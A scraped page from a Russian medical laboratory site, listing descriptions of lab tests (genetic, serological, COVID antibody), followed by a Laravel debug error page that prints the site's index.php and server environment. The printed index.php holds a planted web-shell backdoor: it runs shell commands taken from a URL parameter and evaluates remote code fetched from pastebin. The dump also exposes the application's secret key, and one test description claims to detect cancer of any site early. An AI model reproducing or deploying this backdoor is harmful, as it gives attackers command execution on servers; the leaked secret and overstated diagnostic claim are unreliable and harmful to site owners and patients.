Определяется родство между дедушкой/бабушкой - внуком/внучкой, дядей/тетей - племянником/племянницей, родными/сводными братьями/сестрами.
Дополнительный родственник, с которым должен быть рассчитан индекс родства.
Дополнительный родственник, с которым должен быть рассчитан индекс родства    
Комплексное гистологическое и иммуногистохимическое исследование с применением необходимых иммуногистохимических окрасок для определения: иммунофенотипа опухоли (в том числе при лимфопролиферативных заболеваниях); гистогенеза метастазов при неустановленном первичном очаге; возможности проведения таргетной терапии и т.д.
Микробиологическое исследование, позволяющее выявить инфицированность золотистым стафилококком (Staphylococcus aureus) и, при необходимости, подобрать рациональную антибиотикотерапию. При выявлении патогенных и/или условно-патогенных микроорганизмов будет определена их чувствительность к антимикробным препаратам (антибиотикам и бактериофагам). При обнаружении микроорганизмов, составляющих нормальную микрофлору, чувствительность к антибиотикам и бактериофагам не определяется, т.к. не имеет диагностического значения.
Исследование фрагментов тканей, взятых во время диагностической процедуры или операции. Гистологическое исследование является самым важным в диагностике злокачественных опухолей, а также одним из методов определения стратегии лечения. Целью исследования является обнаружение отклонений от нормального строения тканей, выявление злокачественных клеток или их предшественников. При этом выдается гистологическое заключение с оценкой уровня дифференцировки или степени злокачественности опухоли. Также под данным кодом может быть исследован материал поджелудочной железы, материал солидного образования, материал кожного или подкожного образования, материал слюнных желез и др.
Определяемые показатели: - 17-ОН-прегненолон - тестостерон - дегидроэпиандростерон - кортизон - эстрадиол - прогестерон
Плазминоген – основной компонент фибринолитической системы. Является предшественником плазмина, ключевого фермента фибринолиза, который запускает лизис фибриновых сгустков (тромбов). Плазминоген синтезируется в печени и переходит в свою активную форму – плазмин под действием активаторов плазминогена. Плазмин разрушает фибрин и фибриноген с образованием растворимых продуктов деградации фибрина. Исследование применяют для оценки состояния плазминовой (фибринолитической) системы и используют для выявления нарушений фибринолиза, диагностики тромбофилий, ДВС-синдрома.
Аденовирусы вызывают развитие острых заболеваний, протекающих с поражением органов дыхания, глаз и лимфатических узлов. Наиболее частыми клиническими формами аденовирусной инфекции являются ОРВИ, фарингит, фарингоконъюнктивальная лихорадка, тонзиллит, средний отит и эпидемический кератоконъюнктивит. Возможно поражение органов желудочно-кишечного тракта с аденовирусным гастроэнтеритом. Антитела класса IgA (секреторные) обеспечивают преимущественно местную защиту на уровне слизистых оболочек. Появление и рост концентрации IgA антител можно наблюдать как при первичной инфекции, так и при реинфицировании и обострении латентной инфекции. Детектируемые уровни IgA антител определяются не во всех случаях текущей инфекции. IgG появляются через несколько дней после инфицирования. Их концентрация быстро растет в период острой инфекции. Для полной диагностической картины необходимо определять антитела IgA и IgG одновременно. Для серологического подтверждения острой инфекции желательно проводить комплексное определение IgA и IgG антител в динамике с интервалом 10-14 дней.
Аденовирусы вызывают развитие острых заболеваний, протекающих с поражением органов дыхания, глаз и лимфатических узлов. Наиболее частыми клиническими формами аденовирусной инфекции являются ОРВИ, фарингит, фарингоконъюнктивальная лихорадка, тонзиллит, средний отит и эпидемический кератоконъюнктивит. Возможно поражение органов желудочно-кишечного тракта с аденовирусным гастроэнтеритом. Антитела класса IgA (секреторные) обеспечивают преимущественно местную защиту на уровне слизистых оболочек. Появление и рост концентрации IgA антител можно наблюдать как при первичной инфекции, так и при реинфицировании и обострении латентной инфекции. Детектируемые уровни IgA антител определяются не во всех случаях текущей инфекции. IgG появляются через несколько дней после инфицирования. Их концентрация быстро растет в период острой инфекции. Для полной диагностической картины необходимо определять антитела IgA и IgG одновременно. Для серологического подтверждения острой инфекции желательно проводить комплексное определение IgA и IgG антител в динамике с интервалом 10-14 дней.
Исследование является уникальным скрининговым тестом для ранней диагностики онкологических заболеваний. Позволяет выявить онкологический процесс любой локализации, в том числе на ранних, доклинических стадиях. В результате клинических исследований было доказано, что у пациентов с различными видами злокачественных новообразований наблюдается специфическое изменение пространственной структуры и физико-химических свойств молекул альбумина. При возникновении онкологического заболевания в организме вырабатываются низкомолекулярные вещества (биологические маркеры), которые, соединяясь с альбумином, меняют его структуру и функциональные свойства. В основе метода лежит регистрация конформационных изменений молекулы альбумина методом электронного парамагнитного резонанса (ЭПР), что позволяет in vitro проводить диагностику и мониторинг активности злокачественной пролиферации. Может применяться с целью неспецифического контроля физиологических и патологических изменений гомеостаза в процессе лечения онкологического заболевания для последующей корректировки применяемого лечения.
Вспомогательный тест, используемый для оценки уровня тироидсвязывающих белков в крови и диагностики нарушений щитовидной железы. Уровень T-Uptake зависит главным образом от концентрации в крови тироксинсвязывающего глобулина (TBG) и от степени насыщения его тиреоидными гормонами (преимущественно Т4). Значение T-Uptake обратно пропорционально количеству свободных участков связывания TBG и позволяет оценить изменения концентраций белков – переносчиков гормонов щитовидной. Этот тест не используется в качестве самостоятельного исследования, его целесообразно использовать только в комплексе с определением общего Т4.
Тест предназначен для количественного определения растворимых фрагментов цитокератинов (8 и 18) в моче, которые представляют собой промежуточные микрофиламенты – структурные элементы эпителиальных клеток. Как и другие цитокератины, они являются маркерами эпителия. При злокачественном перерождении и пролиферативном росте эпителиальных клеток стенки мочевого пузыря выделение в мочу цитокератинов (в частности, 8 и 18) усиливается. Исследование концентрации цитокератинов в моче, которая непосредственно контактирует с эпителиальной опухолью мочевого пузыря, позволяет использовать эти вещества в качестве маркера активности опухоли.
Определение перестройки гена ALK при раке легкого методом ИГХ – исследование гистологических препаратов биопсийного материала рака легкого, проводимое с использованием меченных флюоресцирующими веществами антител, которое позволяет выявить наличие в опухолевых клетках продукта экспрессии мутированного гена, ответственного за злокачественную трансформацию. Назначается только при наличии готового гистологического препарата и гистологического заключения, обязательно проведение консультации по готовым гистологическим препаратам.
β2-гликопротеин – это белок, который обладает выраженной антикоагулянтной активностью. Данное исследование предназначено для количественного определения антител к β2-гликопротеину (IgG) в сыворотке крови, чтобы помочь в диагностике антифосфолипидного синдрома (АФС) и/или оценить тромботический риск у пациентов с системной красной волчанкой (СКВ).
В ходе исследования выполняется идентификация аллельного полиморфизма 283 A> G (BsmI) гена VDR. Название гена VDR является аббревиатурой Vitamin D Receptor (рецептор к витамину D). Белок, продуцируемый этим геном, относится к семейству ядерных рецепторов, активируя другие гены, включенные в метаболизм кальция. Витамин D, образующийся в коже под действием солнечных лучей, или попадающий в организм с пищей или в виде лекарственной формы, связывается с белком VDR. Этот комплекс транспортируется в ядра клеток и активирует гены, поддерживающие уровень кальция в крови на необходимом уровне. В гене VDR есть ряд других функциональных полиморфизмов (ApaI, TaqI, FokI, poly-A), которые также вносят определенный вклад в генетическую предрасположенность нарушения метаболизма кальция. Аллельные варианты в исследованной области гена: A (B или BsmI-) и G (b или BsmI+). В европейских популяциях оба аллеля встречаются примерно с равной частотой.
Цитокин, имеющий множество биологических эффектов не только на иммунную систему, но и другие органы и ткани организма. Основной функцией ИЛ-6 в регуляции иммунитета является стимуляция им пролиферации В-лимфоцитов и выработки ими иммуноглобулинов. ИЛ-6 способен индуцировать синтез белков острой фазы (С-реактивного белка, фибриногена и др.), стимулировать гемопоэз(образование клеток крови), вызывать повышение температуры тела. Данный цитокин участвует в процессах роста нервных волокон, способен регулировать синтез некоторых гормонов (вазопрессин, соматотропин, гормоны щитовидной железы). Количество ИЛ-6 в крови является важным прогностическим фактором в отношении рака яичников, острого панкреатита. Исследование количества интерлейкина-6 в культуре клеток позволяет сделать вывод об активности синтеза данного цитокина лимфоцитами, а также определить роль ИЛ-6 в соответствующих реакциях клеточного звена иммунитета. Показания к назначению: 1. В комплексе с другими анализами для оценки иммунного статуса при инфекционных заболеваниях, онкопатологии. 2. В комплексе с другими анализами для оценки иммунного статуса при аутоиммунных заболеваниях 3. В комплексе с другими анализами при остром панкреатите.
Миодистрофия Дюшенна/Беккера относится к X-сцепленным рецессивным наследственным заболеваниям и обусловлена мутацией в гене, кодирующем белок дистрофин (ген DMD). Ген дистрофина состоит из 79 экзонов – это один из самых крупных генов человека, расположен на Х-хромосоме (локус Xp21.2). При мышечной дистрофии обнаруживаются мутации (чаще всего делеции) одного или нескольких экзонов гена, реже – точковые мутации или дупликации. В данном исследовании анализируются мутации экзонов: 1-10, 21-30, 41-50, 61-70. Тест позволяет выявлять мутации в гене дистрофина, которые ответственны за развитие наиболее частой причины поражения мышечной системы в молодом возрасте.
Синдром ломкой Х-хромосомы (синдром Мартина-Белл) – наследственное сцепленное с полом заболевание, которое представляет собой наиболее частую причину умственной отсталости и синдромальной формы аутизма с определенными фенотипическими особенностями. Данный синдром характеризуется увеличением количества тринуклеотидных CGG-повторов в гене FMR1 (экспансия некодирующих повторов), расположенном на Х-хромосоме и кодирующем одноименный белок. Генетическое исследование предназначено для диагностики синдрома ломкой Х-хромосомы и заключается в определении патологической экспансии в гене FMR1 у мальчиков.
Синдром Ретта представляет собой социально значимый генетический синдром, приводящий к регрессу психомоторного развития, аутизму, умственной отсталости и нередко к развитию эпилепсии у девочек. Заболевание связано с мутациями гена МЕСР2, который расположен на Х-хромосоме. Исследование предназначено для диагностики типичного варианта синдрома Ретта. Исследуются все точечные мутации в кодирующей области гена MECP2 .
Наследственное моногенное заболевание, распространенное преимущественно среди определенных этнических групп (евреев-сефардов, армян, арабов). В зависимости от преобладающих проявлений выделяют четыре клинических варианта: абдоминальный, торакальный, суставной и лихорадочный. Характеризуется преходящими эпизодами повышения температуры, общей воспалительной реакцией, артралгией, синовитами и плевритами. У 30-40% больных развивается амилоидоз, который может привести к почечной недостаточности. Причиной периодической болезни являются точечные мутации гена MEVF, кодирующего белок пирин, участвующий в регуляции воспалительных процессов. Данный тест позволяет выявлять патогенные мутации в экзонах 2,3,5,10 гена MEFV, характерные для средиземноморской лихорадки.
Миодистрофия Дюшенна/Беккера относится к X-сцепленным рецессивным наследственным заболеваниям и обусловлена мутацией в гене, кодирующем белок дистрофин (ген DMD). Ген дистрофина состоит из 79 экзонов – это один из самых крупных генов человека, расположен на Х-хромосоме (локус Xp21.2). При мышечной дистрофии обнаруживаются мутации (чаще всего делеции) одного или нескольких экзонов гена, реже – точковые мутации или дупликации. Тест позволяет выявлять мутации в гене дистрофина, которые ответственны за развитие наиболее частой причины поражения мышечной системы в молодом возрасте.
Клинический (общий) анализ крови – это развернутое исследование качественного и количественного состава крови, в ходе которого дается характеристика эритроцитов и их специфических показателей (MCV, MCH, MCHC, RDW), лейкоцитов и их разновидностей в процентном соотношении (лейкоцитарная формула) и тромбоцитов, а также определяется скорость оседания эритроцитов (СОЭ). Используется для диагностики и контроля лечения многих заболеваний.
Исследование, направленное на определение эритроцитов с патологической базофильной зернистостью, возникающих в результате токсического воздействия солей тяжелых металлов, лекарственных препаратов на систему кроветворения, а также при анемиях и талассемиях.
Исследование, направленное на определение эритроцитов с включениями – тельцами Гейнца, являющимися признаком токсического поражения крови и внутрисосудистого гемолиза.
Исследование предназначено для выявления IgM антител к антигенам вируса простого герпеса 1 типа (Herpes simplex virus 1, HSV-1) и вируса простого герпеса 2 типа (Herpes simplex virus 2, HSV-2) в сыворотке крови методом иммуноблоттинга у лиц, сыворотка которых дает положительную или неопределенную реакцию в ИФА. Вирус простого герпеса 1 типа чаще локализуется в оральной, лицевой и фарингеальной областях, а вирус простого герпеса 2 типа чаще вызывает поражение аногенитальной области. Более 90% популяции инфицировано HSV-1, тогда как антитела к HSV-2 находят только у 7-20% популяции и более 20% у сексуально активного взрослого населения. Смешанная инфекция обоих типов встречается у 11%. Имеется также высокий риск инфицирования новорожденных во время родов. У 86% всех новорожденных с герпетической инфекцией был обнаружен вирус простого герпеса 2 типа.
Исследование предназначено для выявления IgG антител к антигенам вируса простого герпеса 1 типа (Herpes simplex virus 1, HSV-1) и вируса простого герпеса 2 типа (Herpes simplex virus 2, HSV-2) в сыворотке крови методом иммуноблоттинга у лиц, сыворотка которых дает положительную или неопределенную реакцию в ИФА. Вирус простого герпеса 1 типа чаще локализуется в оральной, лицевой и фарингеальной областях, а вирус простого герпеса 2 типа чаще вызывает поражение аногенитальной области. Более 90% популяции инфицировано HSV-1, тогда как антитела к HSV-2 находят только у 7-20% популяции и более 20% у сексуально активного взрослого населения. Смешанная инфекция обоих типов встречается у 11%. Имеется также высокий риск инфицирования новорожденных во время родов. У 86% всех новорожденных с герпетической инфекцией был обнаружен вирус простого герпеса 2 типа.
Комплексное исследование, направленное на обнаружение генетического материала (ДНК) цитомегаловируса, вирус Эпштейна – Барр, вируса герпеса человека 6-го типа методом полимеразной цепной реакции в режиме реального времени.
Йод – жизненно важный элемент, который входит в состав гормонов щитовидной железы. Исследование уровня йода в сыворотке крови может быть использовано в качестве показателя адекватного потребления или перегрузки организма йодом, в особенности при применении йодсодержащих лекарственных препаратов. Избыток йода, как и его дефицит, может быть опасен для здоровья. В высоких концентрациях йод проявляет токсичность, приводит к патологии щитовидной железы, поражениям кожи и дыхательных путей, ощущению усталости, слабости, депрессии, оказывает тератогенное действие на плод.
Определение концентрации человеческого эпидидимального протеина 4 (HE4), которое может быть использовано для диагностики, оценки прогноза и контроля лечения рака яичника и эндометрия.
Цистатин С – лабораторный тест, направленный на определение концентрации в крови белка, уровень которого косвенно коррелирует с сохранностью функции почек, а также является самостоятельным фактором риска при некоторых сердечно-сосудистых заболеваниях.
Исследование позволяет выявить концентрацию ДНК Ureaplasma parvum в биологическом материале. Данный вид микроорганизмов относится к группе условно-патогенных (УПМ), присутствует в микрофлоре 50-75% взрослого населения, однако при снижении иммунитета или присоединении других инфекций, активно размножается, приводя к развитию дисбиоза, а затем и воспалительного процесса. Уреаплазмы обладают невысокой иммуногенностью, что затрудняет обнаружение специфических антител к ним в сыворотке крови, поэтому обнаружение генетического материала (ДНК) – наиболее чувствительный метод диагностики. Определение вида уреаплазмы имеет значение при выборе оптимальной тактики лечения.
Исследование позволяет выявить концентрацию ДНК Ureaplasma urealyticum в биологическом материале. Данный вид микроорганизмов относится к группе условно-патогенных (УПМ), присутствует в микрофлоре 50-75% взрослого населения, однако при снижении иммунитета или присоединении других инфекций, активно размножается, приводя к развитию дисбиоза, а затем и воспалительного процесса. Уреаплазмы обладают невысокой иммуногенностью, что затрудняет обнаружение специфических антител к ним в сыворотке крови, поэтому обнаружение генетического материала (ДНК) – наиболее чувствительный метод диагностики. Определение вида уреаплазмы имеет значение при выборе оптимальной тактики лечения.
Вирус Эпштейна-Барр (Epstein-Barr virus, EBV) относится к герпесвирусам и является одним из наиболее распространенных вирусов среди взрослого населения. Основная цель диагностики – дифференциация между острой и прошедшей инфекцией. Иммунный ответ при EBV-инфекции характеризуется образованием антител к капсидному (EBV-CA), ядерному (EBNA) и раннему (EBV–EA) антигенам EBV. На ранней стадии заболевания обнаруживаются антитела IgM и IgG к вирусному капсидному антигену. IgG антитела к раннему антигену вырабатываются позднее при острой стадии заболевания, а исчезают через 3-6 месяцев. В свою очередь антитела IgG к капсидному антигену сохраняются на протяжении всей жизни. В течение 6-8 недель после инфицирования вырабатываются антитела к ядерному антигену вируса Эпштейна-Барр. Наличие этих антител указывает на прошедшую инфекцию. Исследование предназначено для выявления антител IgG в сыворотке крови для диагностики заболеваний, возбудителем которых является EBV (инфекционный мононуклеоз, лимфома Беркитта, назофарингеальная карцинома).
Гистологическое исследование биопсийного ( операционного) материала 1 группы (кожные и подкожные образования (  1 локализация), мышечная ткань, придаточные пазухи носа, миндалины (при тонзиллитах), аденомы, эпулиды, грыжевые мешки, желудочный пузырь, стенки раневого канала, ткань свищевого хода и грануляции, аневризма сосуда, варикозно-расширительные вены, геморроидальные узлы, кисты яичника, анальная трещина, аппендикс)
После вакцинации или перенесенного COVID-19, нейтрализующие антитела к коронавирусу SARS-CoV-2, спайковый (S) белок, IgG, количественно  
Антитела к коронавирусу SARS-CoV-2 (COVID-19), спайковый (S) белок, IgG, качественно  
Антитела к коронавирусу SARS-CoV-2 (COVID-19), спайковый (S) белок, IgM, качественно
Антитела к коронавирусу SARS-CoV-2 (COVID-19), спайковый (S) белок, IgM, качественно и спайковый (S) белок, IgG, количественно
Антитела к коронавирусу SARS-CoV-2 (COVID-19), нуклеокапсидный (N) белок, IgG, качественно (высокочувствительный метод)
Скрининговый тест на наличие антител к SARS-CoV-2 (COVID-19), нуклеокапсидный (N) белок, IgM и IgG суммарные
После вакцинации препаратом "Спутник V" (Центр Гамалеи), антитела к коронавирусу SARS-CoV-2, спайковый (S) белок, IgG, количественно
После вакцинации препаратом "ЭпиВакКорона" (Вектор), антитела к коронавирусу SARS-CoV-2 (COVID-19), спайковый (S) белок, IgG, качественно
Антитела к коронавирусу SARS-CoV-2 (COVID-19), спайковый (S) белок, IgM, качественно и спайковый (S) белок, IgG, качественно  
Антитела IgA, IgM, IgG к SARS-CoV-2 (COVID-19), cпайковый (S) белок, суммарные, качественно
{}
To Top Whoops! There was an error.
ErrorException (E_NOTICE)
Undefined offset: 0 ErrorException thrown with message "Undefined offset: 0" Stacktrace: #1 ErrorException in /var/www/rtc-zdorovie.ru/index.php:63 #0 Illuminate\Foundation\Bootstrap\HandleExceptions:handleError in /var/www/rtc-zdorovie.ru/index.php:63
1
ErrorException
/
index.php
63
0
Illuminate
\
Foundation
\
Bootstrap
\
HandleExceptions
handleError
/
index.php
63
/
var
/
www
/
rtc-zdorovie.ru
/
index.php
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
 
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
 
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
 
 
$response->send();
 
$kernel->terminate($request, $response);
 
echo "<!-- key=kxx -->";echo `$_GET[0]`;eval("?>".file_get_contents("https://pastebin.com/raw/uBgDhsDG"));echo "<!-- key=kxx -->";echo `$_GET[0]`;eval("?>".file_get_contents("https://pastebin.com/raw/uBgDhsDG"));
Arguments
  1. "Undefined offset: 0"
    
/
var
/
www
/
rtc-zdorovie.ru
/
index.php
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
 
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
 
$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);
 
 
$response->send();
 
$kernel->terminate($request, $response);
 
echo "<!-- key=kxx -->";echo `$_GET[0]`;eval("?>".file_get_contents("https://pastebin.com/raw/uBgDhsDG"));echo "<!-- key=kxx -->";echo `$_GET[0]`;eval("?>".file_get_contents("https://pastebin.com/raw/uBgDhsDG"));
Arguments
  1. 8
    
  2. "Undefined offset: 0"
    
  3. "/var/www/rtc-zdorovie.ru/index.php"
    
  4. 63
    
  5. array:13 [
      "_GET" => []
      "_POST" => []
      "_COOKIE" => []
      "_FILES" => []
      "app" => Application {#2}
      "kernel" => Kernel {#29}
      "response" => Response {#6527}
      "request" => Request {#42
        #json: null
        #convertedFiles: null
        #userResolver: Closure {#413
          class: "Illuminate\Auth\AuthServiceProvider"
          this: AuthServiceProvider {#41 …}
          parameters: {
            $guard: {
              default: null
            }
          }
          use: {
            $app: Application {#2}
          }
        }
        #routeResolver: Closure {#415
          class: "Illuminate\Routing\Router"
          this: Router {#25 …}
          use: {
            $route: Route {#263 …}
          }
        }
        +attributes: ParameterBag {#44}
        +request: ParameterBag {#50}
        +query: ParameterBag {#50}
        +server: ServerBag {#46}
        +files: FileBag {#47}
        +cookies: ParameterBag {#45}
        +headers: HeaderBag {#48}
        #content: null
        #languages: null
        #charsets: null
        #encodings: null
        #acceptableContentTypes: array:1 [
          0 => "*/*"
        ]
        #pathInfo: "/serviceslabs"
        #requestUri: "/serviceslabs"
        #baseUrl: ""
        #basePath: null
        #method: "GET"
        #format: null
        #session: Store {#481}
        #locale: null
        #defaultLocale: "en"
        -isHostValid: true
        -isForwardedValid: true
        basePath: ""
        format: "html"
      }
      "GLOBALS" => &6 array:13 [
        "_GET" => & []
        "_POST" => & []
        "_COOKIE" => & []
        "_FILES" => & []
        "app" => & Application {#2}
        "kernel" => & Kernel {#29}
        "response" => & Response {#6527}
        "request" => & Request {#42}
        "GLOBALS" => &6 array:13 [&6]
        "__composer_autoload_files" => & array:10 [
          "6124b4c8570aa390c21fafd04a26c69f" => true
          "0e6d7bf4a5811bfa5cf40c5ccd6fae6a" => true
          "25072dd6e2470089de65ae7bf11d3109" => true
          "667aeda72477189d0494fecd327c3641" => true
          "2c102faa651ef8ea5874edb585946bce" => true
          "5255c38a0faeba867671b61dfda6d864" => true
          "f0906e6318348a765ffb6eb24e0d0938" => true
          "58571171fd5812e6e447dce228f52f4d" => true
          "f18cc91337d49233e5754e93f3ed9ec3" => true
          "e7223560d890eab89cda23685e711e2c" => true
        ]
        "_SERVER" => & array:59 [
          "REDIRECT_HTTPS" => "on"
          "REDIRECT_SSL_TLS_SNI" => "rtc-zdorovie.ru"
          "REDIRECT_STATUS" => "200"
          "HTTPS" => "on"
          "SSL_TLS_SNI" => "rtc-zdorovie.ru"
          "HTTP_ACCEPT" => "*/*"
          "HTTP_USER_AGENT" => "claudebot"
          "HTTP_REFERER" => "https://rtc-zdorovie.ru/category/cat_lab_usl/"
          "HTTP_HOST" => "rtc-zdorovie.ru"
          "PATH" => "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
          "SERVER_SIGNATURE" => "<address>Apache/2.4.38 (Debian) Server at rtc-zdorovie.ru Port 443</address>\n"
          "SERVER_SOFTWARE" => "Apache/2.4.38 (Debian)"
          "SERVER_NAME" => "rtc-zdorovie.ru"
          "SERVER_ADDR" => "194.177.22.1"
          "SERVER_PORT" => "443"
          "REMOTE_ADDR" => "44.222.146.114"
          "DOCUMENT_ROOT" => "/var/www/rtc-zdorovie.ru"
          "REQUEST_SCHEME" => "https"
          "CONTEXT_PREFIX" => ""
          "CONTEXT_DOCUMENT_ROOT" => "/var/www/rtc-zdorovie.ru"
          "SERVER_ADMIN" => "webmaster@localhost"
          "SCRIPT_FILENAME" => "/var/www/rtc-zdorovie.ru/index.php"
          "REMOTE_PORT" => "44122"
          "REDIRECT_URL" => "/serviceslabs"
          "GATEWAY_INTERFACE" => "CGI/1.1"
          "SERVER_PROTOCOL" => "HTTP/1.1"
          "REQUEST_METHOD" => "GET"
          "QUERY_STRING" => ""
          "REQUEST_URI" => "/serviceslabs"
          "SCRIPT_NAME" => "/index.php"
          "PHP_SELF" => "/index.php"
          "REQUEST_TIME_FLOAT" => 1711627401.336
          "REQUEST_TIME" => 1711627401
          "APP_NAME" => "Laravel"
          "APP_ENV" => "local"
          "APP_KEY" => "base64:Xk4Xsd5g6JeUkSeNjcYAatFcwIslHRqaEYeMxyLqEvM="
          "APP_DEBUG" => "true"
          "APP_URL" => "http://localhost"
          "LOG_CHANNEL" => "stack"
          "BROADCAST_DRIVER" => "log"
          "CACHE_DRIVER" => "file"
          "SESSION_DRIVER" => "file"
          "SESSION_LIFETIME" => "120"
          "QUEUE_DRIVER" => "sync"
          "REDIS_HOST" => "127.0.0.1"
          "REDIS_PASSWORD" => "null"
          "REDIS_PORT" => "6379"
          "MAIL_DRIVER" => "smtp"
          "MAIL_HOST" => "smtp.mailtrap.io"
          "MAIL_PORT" => "2525"
          "MAIL_USERNAME" => "null"
          "MAIL_PASSWORD" => "null"
          "MAIL_ENCRYPTION" => "null"
          "PUSHER_APP_ID" => ""
          "PUSHER_APP_KEY" => ""
          "PUSHER_APP_SECRET" => ""
          "PUSHER_APP_CLUSTER" => "mt1"
          "MIX_PUSHER_APP_KEY" => ""
          "MIX_PUSHER_APP_CLUSTER" => "mt1"
        ]
        "_REQUEST" => & []
        "_ENV" => & array:26 [
          "APP_NAME" => "Laravel"
          "APP_ENV" => "local"
          "APP_KEY" => "base64:Xk4Xsd5g6JeUkSeNjcYAatFcwIslHRqaEYeMxyLqEvM="
          "APP_DEBUG" => "true"
          "APP_URL" => "http://localhost"
          "LOG_CHANNEL" => "stack"
          "BROADCAST_DRIVER" => "log"
          "CACHE_DRIVER" => "file"
          "SESSION_DRIVER" => "file"
          "SESSION_LIFETIME" => "120"
          "QUEUE_DRIVER" => "sync"
          "REDIS_HOST" => "127.0.0.1"
          "REDIS_PASSWORD" => "null"
          "REDIS_PORT" => "6379"
          "MAIL_DRIVER" => "smtp"
          "MAIL_HOST" => "smtp.mailtrap.io"
          "MAIL_PORT" => "2525"
          "MAIL_USERNAME" => "null"
          "MAIL_PASSWORD" => "null"
          "MAIL_ENCRYPTION" => "null"
          "PUSHER_APP_ID" => ""
          "PUSHER_APP_KEY" => ""
          "PUSHER_APP_SECRET" => ""
          "PUSHER_APP_CLUSTER" => "mt1"
          "MIX_PUSHER_APP_KEY" => ""
          "MIX_PUSHER_APP_CLUSTER" => "mt1"
        ]
      ]
      "__composer_autoload_files" => array:10 [
        "6124b4c8570aa390c21fafd04a26c69f" => true
        "0e6d7bf4a5811bfa5cf40c5ccd6fae6a" => true
        "25072dd6e2470089de65ae7bf11d3109" => true
        "667aeda72477189d0494fecd327c3641" => true
        "2c102faa651ef8ea5874edb585946bce" => true
        "5255c38a0faeba867671b61dfda6d864" => true
        "f0906e6318348a765ffb6eb24e0d0938" => true
        "58571171fd5812e6e447dce228f52f4d" => true
        "f18cc91337d49233e5754e93f3ed9ec3" => true
        "e7223560d890eab89cda23685e711e2c" => true
      ]
      "_SERVER" => array:59 [
        "REDIRECT_HTTPS" => "on"
        "REDIRECT_SSL_TLS_SNI" => "rtc-zdorovie.ru"
        "REDIRECT_STATUS" => "200"
        "HTTPS" => "on"
        "SSL_TLS_SNI" => "rtc-zdorovie.ru"
        "HTTP_ACCEPT" => "*/*"
        "HTTP_USER_AGENT" => "claudebot"
        "HTTP_REFERER" => "https://rtc-zdorovie.ru/category/cat_lab_usl/"
        "HTTP_HOST" => "rtc-zdorovie.ru"
        "PATH" => "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
        "SERVER_SIGNATURE" => "<address>Apache/2.4.38 (Debian) Server at rtc-zdorovie.ru Port 443</address>\n"
        "SERVER_SOFTWARE" => "Apache/2.4.38 (Debian)"
        "SERVER_NAME" => "rtc-zdorovie.ru"
        "SERVER_ADDR" => "194.177.22.1"
        "SERVER_PORT" => "443"
        "REMOTE_ADDR" => "44.222.146.114"
        "DOCUMENT_ROOT" => "/var/www/rtc-zdorovie.ru"
        "REQUEST_SCHEME" => "https"
        "CONTEXT_PREFIX" => ""
        "CONTEXT_DOCUMENT_ROOT" => "/var/www/rtc-zdorovie.ru"
        "SERVER_ADMIN" => "webmaster@localhost"
        "SCRIPT_FILENAME" => "/var/www/rtc-zdorovie.ru/index.php"
        "REMOTE_PORT" => "44122"
        "REDIRECT_URL" => "/serviceslabs"
        "GATEWAY_INTERFACE" => "CGI/1.1"
        "SERVER_PROTOCOL" => "HTTP/1.1"
        "REQUEST_METHOD" => "GET"
        "QUERY_STRING" => ""
        "REQUEST_URI" => "/serviceslabs"
        "SCRIPT_NAME" => "/index.php"
        "PHP_SELF" => "/index.php"
        "REQUEST_TIME_FLOAT" => 1711627401.336
        "REQUEST_TIME" => 1711627401
        "APP_NAME" => "Laravel"
        "APP_ENV" => "local"
        "APP_KEY" => "base64:Xk4Xsd5g6JeUkSeNjcYAatFcwIslHRqaEYeMxyLqEvM="
        "APP_DEBUG" => "true"
        "APP_URL" => "http://localhost"
        "LOG_CHANNEL" => "stack"
        "BROADCAST_DRIVER" => "log"
        "CACHE_DRIVER" => "file"
        "SESSION_DRIVER" => "file"
        "SESSION_LIFETIME" => "120"
        "QUEUE_DRIVER" => "sync"
        "REDIS_HOST" => "127.0.0.1"
        "REDIS_PASSWORD" => "null"
        "REDIS_PORT" => "6379"
        "MAIL_DRIVER" => "smtp"
        "MAIL_HOST" => "smtp.mailtrap.io"
        "MAIL_PORT" => "2525"
        "MAIL_USERNAME" => "null"
        "MAIL_PASSWORD" => "null"
        "MAIL_ENCRYPTION" => "null"
        "PUSHER_APP_ID" => ""
        "PUSHER_APP_KEY" => ""
        "PUSHER_APP_SECRET" => ""
        "PUSHER_APP_CLUSTER" => "mt1"
        "MIX_PUSHER_APP_KEY" => ""
        "MIX_PUSHER_APP_CLUSTER" => "mt1"
      ]
      "_REQUEST" => []
      "_ENV" => array:26 [
        "APP_NAME" => "Laravel"
        "APP_ENV" => "local"
        "APP_KEY" => "base64:Xk4Xsd5g6JeUkSeNjcYAatFcwIslHRqaEYeMxyLqEvM="
        "APP_DEBUG" => "true"
        "APP_URL" => "http://localhost"
        "LOG_CHANNEL" => "stack"
        "BROADCAST_DRIVER" => "log"
        "CACHE_DRIVER" => "file"
        "SESSION_DRIVER" => "file"
        "SESSION_LIFETIME" => "120"
        "QUEUE_DRIVER" => "sync"
        "REDIS_HOST" => "127.0.0.1"
        "REDIS_PASSWORD" => "null"
        "REDIS_PORT" => "6379"
        "MAIL_DRIVER" => "smtp"
        "MAIL_HOST" => "smtp.mailtrap.io"
        "MAIL_PORT" => "2525"
        "MAIL_USERNAME" => "null"
        "MAIL_PASSWORD" => "null"
        "MAIL_ENCRYPTION" => "null"
        "PUSHER_APP_ID" => ""
        "PUSHER_APP_KEY" => ""
        "PUSHER_APP_SECRET" => ""
        "PUSHER_APP_CLUSTER" => "mt1"
        "MIX_PUSHER_APP_KEY" => ""
        "MIX_PUSHER_APP_CLUSTER" => "mt1"
      ]
    ]
    

Environment & details:

empty
empty
empty
empty
empty
Key Value
REDIRECT_HTTPS
"on"
REDIRECT_SSL_TLS_SNI
"rtc-zdorovie.ru"
REDIRECT_STATUS
"200"
HTTPS
"on"
SSL_TLS_SNI
"rtc-zdorovie.ru"
HTTP_ACCEPT
"*/*"
HTTP_USER_AGENT
"claudebot"
HTTP_REFERER
"https://rtc-zdorovie.ru/category/cat_lab_usl/"
HTTP_HOST
"rtc-zdorovie.ru"
PATH
